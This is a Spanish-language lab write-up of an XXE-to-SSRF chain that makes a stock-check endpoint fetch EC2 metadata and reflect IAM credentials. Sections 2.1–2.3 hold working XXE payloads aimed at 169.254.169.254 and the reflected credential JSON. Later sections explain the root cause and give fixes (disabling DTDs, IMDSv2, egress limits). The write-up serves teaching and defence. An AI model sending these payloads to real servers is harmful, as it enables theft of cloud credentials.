← Writeups

XXE→SSRF: robo de credenciales IAM desde el endpoint de metadata EC2 (169.254.169.254)

Cadena XXE→SSRF contra el endpoint de metadata de EC2: la entidad externa hace que el servidor consulte 169.254.169.254 y refleje las credenciales IAM en la respuesta.

1. Target Overview & Vulnerability Summary

La función Check stock parsea XML y refleja los valores inesperados en la respuesta (Invalid product ID: ...). La entidad externa inyectada hace que el servidor actúe como proxy: cualquier URI SYSTEM que apunte a 169.254.169.254 (link-local metadata de EC2) convierte el endpoint en un XXE→SSRF. El objetivo es robar el SecretAccessKey IAM del rol de la instancia.

Severidad Endpoint vulnerable Root cause
Critical POST /product/stock (cuerpo XML) Parser XML con entidades externas habilitadas; la entidad dispara peticiones HTTP del servidor (SSRF) hacia el metadata endpoint, y su contenido se refleja en la respuesta

2. Technical Breakdown & Exploitation Flow

2.1 Verificación de la primitiva SSRF

La entidad externa xxe apunta al metadata endpoint; su valor expandido se coloca en productId para que la respuesta lo refleje:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [ <!ENTITY xxe SYSTEM "http://169.254.169.254/"> ]>
<stockCheck>
<productId>&xxe;</productId>
<storeId>1</storeId>
</stockCheck>

El servidor consulta http://169.254.169.254/ en nombre del atacante.

2.2 Enumeración del rol IAM

Se navega el árbol de metadata de IAM:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/"> ]>
<stockCheck>
<productId>&xxe;</productId>
<storeId>1</storeId>
</stockCheck>

La respuesta lista el perfil del rol: admin.

2.3 Recuperación del secret

Se apunta a la ruta del perfil concreto:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/"> ]>
<stockCheck>
<productId>&xxe;</productId>
<storeId>1</storeId>
</stockCheck>

La respuesta refleja el JSON completo de credenciales temporales del rol:

"Invalid product ID: {
  "Code" : "Success",
  "LastUpdated" : "2025-10-11T15:27:31.359806633Z",
  "Type" : "AWS-HMAC",
  "AccessKeyId" : "0gFZzY4xFuyewgDztoFb",
  "SecretAccessKey" : "Tra3I9QWUWFvsaR0dB8cK1LMZzwJR7R8ifGEtZIL",
  "Token" : "4td3l4XFi5uADhC9kI4okPxVBT6LPbXhmKSB1QslZUUdqYasLVtGclGFvoNr9OW8OpzR1fKtNEWvtCq3X86ZU8AaohJzNoPmTyUMblLCDL9KolVOCWIULPgqIpV6rNwIm3wYKbtGxIcfhApO0bOiqH7jrWNC89ppeKRuaHLi8MHSlyfysYwmIbyg9IeHj6shNvLcZ3eKrBcelxuSG4kSSce5EJdJ41zKgDidDvtFoBRvgstRczi1YZbSjKjlaCvK",
  "Expiration" : "2031-10-10T15:27:31.359806633Z"
}"

Con el SecretAccessKey y su Token el lab queda resuelto. La cadena completa es un XXE→SSRF que pivota del parser XML al plano de red de la instancia.

3. Root Cause Analysis

Dos condiciones habilitan la cadena:

  1. Entidades externas generales habilitadas: SYSTEM permite al parser emitir requests HTTP arbitrarios con la identidad de red del servidor, sin restricción de destinos (falta de allowlist de egress). Esto es SSRF clásico materializado desde el parser XML.
  2. Reflejo de valores inesperados: productId con contenido no numérico se devuelve en Invalid product ID: <valor>, convirtiendo el endpoint en un proxy de lectura que materializa el contenido del metadata en la respuesta.

El metadata endpoint de EC2 (169.254.169.254, IP link-local no enrutable) solo es alcanzable desde dentro de la instancia; el SSRF es el único camino para un atacante externo, y el IAM role lo hace especialmente valioso (credenciales temporales con permisos de la instancia).

4. Secure Remediation

Mitigación principal — deshabilitar DTD/entidades externas:

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

Defensa en profundidad para el plano de red:

  • IMDSv2: en EC2, forzar HttpTokens = required (metadata con X-aws-ec2-metadata-token, token PUT previo con TTL) y HttpPutResponseHopLimit = 1. Un SSRF simple de una sola petición (sin soporte de PUT + token por parte del parser XML) deja de poder leer las credenciales.
  • Restricción de egress por firewall/security groups en el plano de red del backend hacia 169.254.169.254 solo para servicios que realmente lo necesiten.
  • Validar y tipar productId/storeId como enteros antes de la query.